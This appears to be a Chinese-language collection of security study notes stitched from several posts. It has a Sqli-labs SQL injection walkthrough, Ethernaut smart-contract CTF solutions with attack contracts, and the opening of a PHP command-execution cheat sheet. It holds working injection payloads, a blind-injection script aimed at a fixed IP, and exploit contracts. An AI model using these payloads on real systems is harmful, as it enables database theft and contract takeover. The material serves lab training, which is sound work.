-> ;
+---------------------+
| concat('a','b','c') |
+---------------------+
| abc |
+---------------------+
1 row in set (0.00 sec)

mysql> select concat('a','b','c','null')
-> ;
+----------------------------+
| concat('a','b','c','null') |
+----------------------------+
| abcnull |
+----------------------------+
1 row in set (0.00 sec)

2. concat_ws()函数

  • 功能 和concat()一样,但是可以指定分隔符
  • 语法:concat_ws(separator, str1, str2, …)
  • 第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。
1
2
3
4
5
6
7
8
mysql> select concat_ws('#','a','b','c','null')
-> ;
+-----------------------------------+
| concat_ws('#','a','b','c','null') |
+-----------------------------------+
| a#b#c#null |
+-----------------------------------+
1 row in set (0.00 sec)

3.group_concat()函数

  • 功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
  • 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator] )
1
2
3
4
5
6
7
8
mysql> select 1,(select group_concat(username) from users); 
+---+---------------------------------------------------------------------------------------------+
| 1 | (select group_concat(username) from users) |
+---+---------------------------------------------------------------------------------------------+
| 1 | Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4 |
+---+---------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

盲注常用

1.ascii()函数

都会用,不说了

2.substr()函数

  • substr(str,pos,len);//str:字符串,pos:起始位置,len:截断长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
mysql> select substr("abcdefg",1,1);
+-----------------------+
| substr("abcdefg",1,1) |
+-----------------------+
| a |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",1,3);
+-----------------------+
| substr("abcdefg",1,3) |
+-----------------------+
| abc |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",2,3);
+-----------------------+
| substr("abcdefg",2,3) |
+-----------------------+
| bcd |
+-----------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",-2,3);
+------------------------+
| substr("abcdefg",-2,3) |
+------------------------+
| fg |
+------------------------+
1 row in set (0.01 sec)

mysql> select substr("abcdefg",-2,1);
+------------------------+
| substr("abcdefg",-2,1) |
+------------------------+
| f |
+------------------------+
1 row in set (0.00 sec)

mysql> select substr("abcdefg",-3,2);
+------------------------+
| substr("abcdefg",-3,2) |
+------------------------+
| ef |
+------------------------+
1 row in set (0.00 sec)

sleep()

都会,不说了

报错注入常用

updatexml()

extractvalue()

group by报错注入

0x02 SQL注入靶场–Sqli-labs

Less-1 | 显错注入

判断注入点为字符型还是数字型:

?id=1

id=2

id=1+1

这里可以发现,没有对我们输入的1+1进行运算,可以确定是字符型注入。
查看源代码

1
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

这里有个令人异或的地方:
?id=1+1为啥返回了?id=1的结果,这里进mysql控制台里面康康。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
mysql> select * from users where id='1+1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id="1a";
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select * from users where id="a1";
Empty set (0.00 sec)

mysql> select * from users where id="0x1";
Empty set (0.00 sec)

mysql> select * from users where id=0x1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=+0b01;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from users where id=+ 0b01;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)

这宛如PHP一样强大的鲁棒性,我已经有不好的预感了。

众所周知,方便程序员写代码 = 方便黑客进来搞事情。

更深入的测试

联合注入:

?id=1’ union select 1,2,3 –+

实际执行的是,这里--+是将后面的内容注释掉了

SELECT * FROM users WHERE id=’1’ union select 1,2,3 –+ LIMIT 0,1

好像啥都没变,不过在后端的代码里可以看见相关的逻辑

1
2
3
4
5
6
7
8
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}

MySQL返回的是

1
2
3
4
5
6
7
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)

但因为后端代码的设计,只能显示第一条,这时候我们可以让前面id指向一个不存在的数据,这样第一条数据就只会返回空

1
2
3
4
5
6
7
mysql> SELECT * FROM users WHERE id='-1' union select 1,2,3; 
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
1 row in set (0.00 sec)

开始爆金币数据了

?id=-1’ union select 1,(select username from users limit 4,1),3 –+

因为select username from users会返回多条数据,这时候使用limit来限制返回哪一行

这样子爆破数据不够爽,还得手动一个一个搓,太麻烦了,直接上group_concat()

?id=-1’ union select 1,(select group_concat(username) from users),3 –+

不过这是咱在翻看了源代码,并且知道这些数据的情况下做出来的,在真正注入的环境下,得需要获取这些数据,这时候就需要information_schema这个数据库了

?id=-1’ union select 1,(select group_concat(schema_name) from schemata),3 –+


发生什么事了?好像有点不太对劲呢。因为这题所在的数据库是security,而schemata是在information_schema这个数据库下面的。我们需要换成information_schema.schemata

?id=-1’ union select 1,(select group_concat(schema_name) from information_schema.schemata),3 –+

数据库爆出来了,爆表名

?id=-1’ union select 1,(select group_concat(table_name) from information_schema.columns where table_schema=”security”),3 –+

表名出来了,爆字段

?id=-1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=”users”),3 –+

需要的数据都有了,咱可以直接把库给脱下来了

Less-2 - Less-4

这几题都一样,无非是注入点周围包裹的东西不一样,不多赘述,过。

Less-5 | 布尔盲注

?id=1

眉清目秀,啥都木有。

?id=1”‘
一通测试下来,发现有了报错信息

如何利用报错信息注入呢?

?id=1’ and 1 = 1 –+
i

?id=2’ and 2 = 1 –+

那有意思的就来了,嘻嘻

1
2
3
4
5
6
7
8
mysql> select ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0);
+-----------------------------------------------------------------------------------------------------+
| ((substr(group_concat((select group_concat(schema_name) from information_schema.schemata)),1,1))=0) |
+-----------------------------------------------------------------------------------------------------+
| 1 |
+-----------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

爆数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = "http://39.104.82.167/Less-5/?id="
res = ""

for i in range(0,256):
for j in range(0,256):
for k in range(0,256):
payload = f"1' and ascii(substr((select group_concat(schema_name) from information_schema.schemata),{j},1)) = {k} --+"
r = requests.get(url+payload)
if "You are in..........." in r.text:
res += chr(k)
print(res)
break

更改payload来爆表

1
payload = f"1' and ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=\"security\"),{j},1)) = {k} --+"

更改payload 来爆字段

1
payload = f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name="users"),{j},1)) = {k} --+"

Tips 无AND的情况下,可以用^

Less 6-8 都差不多,就是需要各种奇妙的闭合

Less 9

这里需要时间盲注,和布尔盲注差不多只是需要添加一个if(a,sleep(10),1)判断

?id=1’ and if(1=1,sleep(5),1)–+

判断参数构造。

?id=1’and if(length((select database()))>9,sleep(5),1)–+

判断数据库名长度

?id=1’and if(ascii(substr((select database()),1,1))=115,sleep(5),1)–+

逐一判断数据库字符

?id=1’and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)–+

判断所有表名长度

?id=1’and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)–+

逐一判断表名

?id=1’and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’))>20,sleep(5),1)–+

判断所有字段名的长度

?id=1’and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),1,1))>99,sleep(5),1)–+

逐一判断字段名。

?id=1’ and if(length((select group_concat(username,password) from users))>109,sleep(5),1)–+

判断字段内容长度

?id=1’ and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)–+

逐一检测内容。

Less 10 一模一样,略

Less 11 | 万能密码

这次开始,不是get传参了,换成POST传参还给了个登录框,先随便穿个数据康康

这时候拿出我们的究极无敌炫酷万能密码1' or 1=1#

好了,这就进去了

为什么呢?咱把源码翻开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname);
fwrite($fp,'Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql); //注意这里
$row = mysql_fetch_array($result);

if($row)
{
//echo '<font color= "#0000ff">';

echo "<br>";
echo '<font color= "#FFFF00" font size = 4>';
//echo " You Have successfully logged in\n\n " ;
echo '<font size="3" color="#0000ff">';
echo "<br>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "<br>";
echo "</font>";
echo "<br>";
echo "<br>";
echo '<img src="../images/flag.jpg" />';

echo "</font>";
}
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
}
}

?>

关键点在这里$result=mysql_query($sql);

这里的结果是用sql语句的查询结果来,所以只需要让语句返回一个真就行了,or 1 = 1使得整个语句恒真,这就让我们成功登陆进去了

之后我们就可以注入获取信息了。

Less 12 -16 都差不多

Less 17 | 报错注入

这题开始不同了,使用的是update而不是select

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94

function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,15);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))

{
//making sure uname is not injectable
$uname=check_input($_POST['uname']);

$passwd=$_POST['passwd'];


//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);


// connectivity
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
if($row)
{
//echo '<font color= "#0000ff">';
$row1 = $row['username'];
//echo 'Your Login name:'. $row1;
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
mysql_query($update);
echo "<br>";



if (mysql_error())
{
echo '<font color= "#FFFF00" font size = 3 >';
print_r(mysql_error());
echo "</br></br>";
echo "</font>";
}
else
{
echo '<font color= "#FFFF00" font size = 3 >';
//echo " You password has been successfully updated " ;
echo "<br>";
echo "</font>";
}

echo '<img src="../images/flag1.jpg" />';
//echo 'Your Password:' .$row['password'];
echo "</font>";



}
else
{
echo '<font size="4.5" color="#FFFF00">';
//echo "Bug off you Silly Dumb hacker";
echo "</br>";
echo '<img src="../images/slap1.jpg" />';

echo "</font>";
}
}

报错注入开淦

能进行报错的函数

extractvalue()

  • 演示:
    1
    2
    3
    4
    5
    mysql> select extractvalue(1,concat(0x5c,"114514",0x5c));
    ERROR 1105 (HY000): XPATH syntax error: '\114514\'

    ```
    * payload:
    1’ and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本

1’ and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库

1’ and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名

1’ and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’users’),0x5c)))#
爆字段名

1’ and (extractvalue(1,concat(0x5c,(select password from (select password from users where username=’admin1’) b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。

1’ and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。

1
2
3
4
5
6
7
#### updatexml()

* `updatexml()`是一个使用不同的xml标记匹配和替换xml块的函数。
* 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
* updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)


mysql> select (updatexml(1,concat(0x7e,(version()),0x7e),1));
ERROR 1105 (HY000): XPATH syntax error: ‘5.5.44-0ubuntu0.14.04.1


公式:
updatexml(数字,带有'~'的任何东西,数字)
updatexml(数字,(concat(0x7e,(长度不过63的任意字符),0x7e)),数字)


## less 18 - Less19

地点不一样,懒得弄了.

## Less20 - Less23
base64编码了一下,还是一样

## Less24 | 二次注入
  

Ethernaut刷题记录

踩坑记录

来自这里

可见修饰符

public

private

ethernaut

0.注意事项

  • @openzeppelin/contracts/math/SafeMath.sol 的地址已经迁移,做这个靶场的时候得自己手动改成"@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
  • 以太坊主网即将进行合并,Rinkeby测试网络将于一年后停止运行,到时候就不知道这个靶场是否还会继续运行
  • 不同版本的solidity语言特性不一样,可能会有兼容问题
  • Rinkeby的测试以太难以大量获取,做题不要一股脑把以太全塞进去了

1.Fallout

描述

1
2
3
4
5
6
7
8
9
10
11
12
13
这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上... 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Fallout {

using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;


/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}

解:

扔到remix里面调用Fal1out()函数就行了

2.Coin Flip

描述

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

解:

以太坊网络经典难题:熵的产生

使用区块哈希产生的随机数很容易被预测(只需要和它在同一个区块上就行了),只需要写个中继合约打进去就行了(原来的合约基础之上改一点点就行了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14

function exp() public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
c = CoinFlip(targetAddress);
c.flip(side);
}

注意:
在某些预测随机数的题目中会返还以太,经常出现合约逻辑没有任何问题,但是就是运行出错的问题。

当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括.send().transfer()函数发起的转账。如果没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能通过常规的交易来接收以太币,并且会抛出一个异常。

3.Telephone

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pragma solidity ^0.6.0;

contract Telephone {

address public owner;

constructor() public {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

解:

tx.orgin指的是交易的发起方,msg.sender是直接调用的一方,所以直接写合约调用这个函数就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pragma solidity ^0.4.11;

interface Telephone {
function changeOwner(address _owner) external;
}

contract exploit {
address targetAddr;
Telephone t;
address myaddr;

function setInstance(address _targetAddr,address _myaddr) public {
targetAddr=_targetAddr;
myaddr= _myaddr;
}

function exp () public {
t = Telephone(targetAddr);
t.changeOwner(myaddr);
}
}

4.Token

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

mapping(address => uint) balances;
uint public totalSupply;

constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}

解:

很easy 溢出就完事了转个 115792089237316195423570985008687907853269984665640564039457584007913129639935就行了

5. Delegation

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

address public owner;

constructor(address _owner) public {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {

address public owner;
Delegate delegate;

constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

解:

老生常谈, delegatecall相当于是去目标合约那块把相关的函数代码复制过来运行,而在solidity是个编译型语言,且存储使用的是slot[]这个大数组,变量是写死在代码里面的,一旦目标合约的变量环境和当前合约的变量环境不一样,就出大事,这题都做烂了,懒得写了

6.Force

描述

1
2
3
有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯

这一关的目标是使合约的余额大于0

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)

*/}

解:

在Solidity里面,有个很特殊的自毁函数 selfdestruct(addr);
随便写个合约,塞进去一个selfdestruct函数,然后指向题目

7.Vault

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) public {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

直接getStorageAt就行了,直接看

8.King

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

address payable king;
uint public prize;
address payable public owner;

constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address payable) {
return king;
}
}


解:

1
2
3
4
5
6
7
8
9
10
11
contract Attack {

constructor(address payable target) public payable{
require(msg.value == 0.15 ether,"Not enough!");
target.call.gas(1000000).value(0.15 ether)("");
}

receive() external payable {
revert();
}
}

当submit题目打算回收“王权”时,它运行到king.transfer(msg.value);这一行时,由于king就是我们合约的地址,而我们合约的receive函数会执行revert,因此它会卡在这个状态无法执行,从而无法取回王权。

这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。

麻了,在写攻击合约的时候又踩坑里了
https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-2-sending-ether-receiving-ether-emitting-events/topic/sending-ether-send-vs-transfer-vs-call/

  • transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:

    • 付款方合约的余额不足,小于所要发送的value
    • 接收方合约拒绝接收支付
  • send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。

  • call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:

    (bool success, bytes memory data) = receivingAddress.call{value: 100}(“”);
    将参数设置为空会触发接收合约的fallback函数,使用call同样也可以调用本合约内的函数,形式如下
    (bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256(“function_name(uint256)”,args)));

9.Re-entrancy

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {

using SafeMath for uint256;
mapping(address => uint) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}

function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call.value(amount)() 来发送 Ether,处理完成后相应修改用户资产数据。

首先,使用call进行转账是个比较危险的操作,因为call会将当前剩下的gas一并发过去,这就导致目标合约在发送以太过去后会有足够的gas运行攻击合约里的receive函数,而攻击合约里的receive又会去调用目标合约里的转账函数,此时目标合约里记录转账的变量还未被修改,因此又可以继续转账然后如此往复。

10.Elevator

合约代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
function isLastFloor(uint) external returns (bool);
}


contract Elevator {
bool public top;
uint public floor;

function goTo(uint _floor) public {
Building building = Building(msg.sender);

if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

目标是让top变为true,只需要返回不同结果就可以了

继承抽象合约,然后写函数就完事了。

11.Privacy

很简单的题目,想在区块链上保护自己的隐私,太离谱了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;

constructor(bytes32[3] memory _data) public {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

解:

根据slot插槽,确定数据在哪里

1
2
3
4
5
6
slot[0]  |                                                                               (bool locked)|
slot[1] |(uint256 ID )|
slot[2] | (unit 16 awkwardness)(uint8 denomination)(unit8 flattening)|
slot[3] |(bytes32[0] )|
slot[4] |(bytes32[1] )|
slot[5] |(bytes32[2] )|

合约中要求require(_key == bytes16(data[2]));

只需要web3.eth.getStroageAt(contract.address,5)然后截取结果的前32位发过去就行了

12. Gatekeeper One

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract GatekeeperOne {

using SafeMath for uint256;
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

解:

gateOne()

这个好过,写个合约就行了

gateTwo()

这个也好过….?应该?,中继合约里面.call限制一下数字?

13.Privacy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/token/ERC20/ERC20.sol';

contract NaughtCoin is ERC20 {

// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player)
ERC20('NaughtCoin', '0x0')
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) override public lockTokens returns(bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}

解:

你写你的,我用我的

ERC20有自己的转账函数,咱为啥用他的转账函数呢?

16.

delegate过

17. Recovery

命令执行备忘录

命令执行备忘录

0x00 什么是RCE

RCE又称远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

0x01 常见命令执行函数

1
2
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()...
1
2
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()...

0x02 Bypass

1.关键词拦截:

  • 关键词替换为空的情况:

    • 双写绕过,比如cacatt -> cat
  • 仅拦截关键字:

    • 使用其他函数,比如拦截cat的时候,可以使用其他命令。

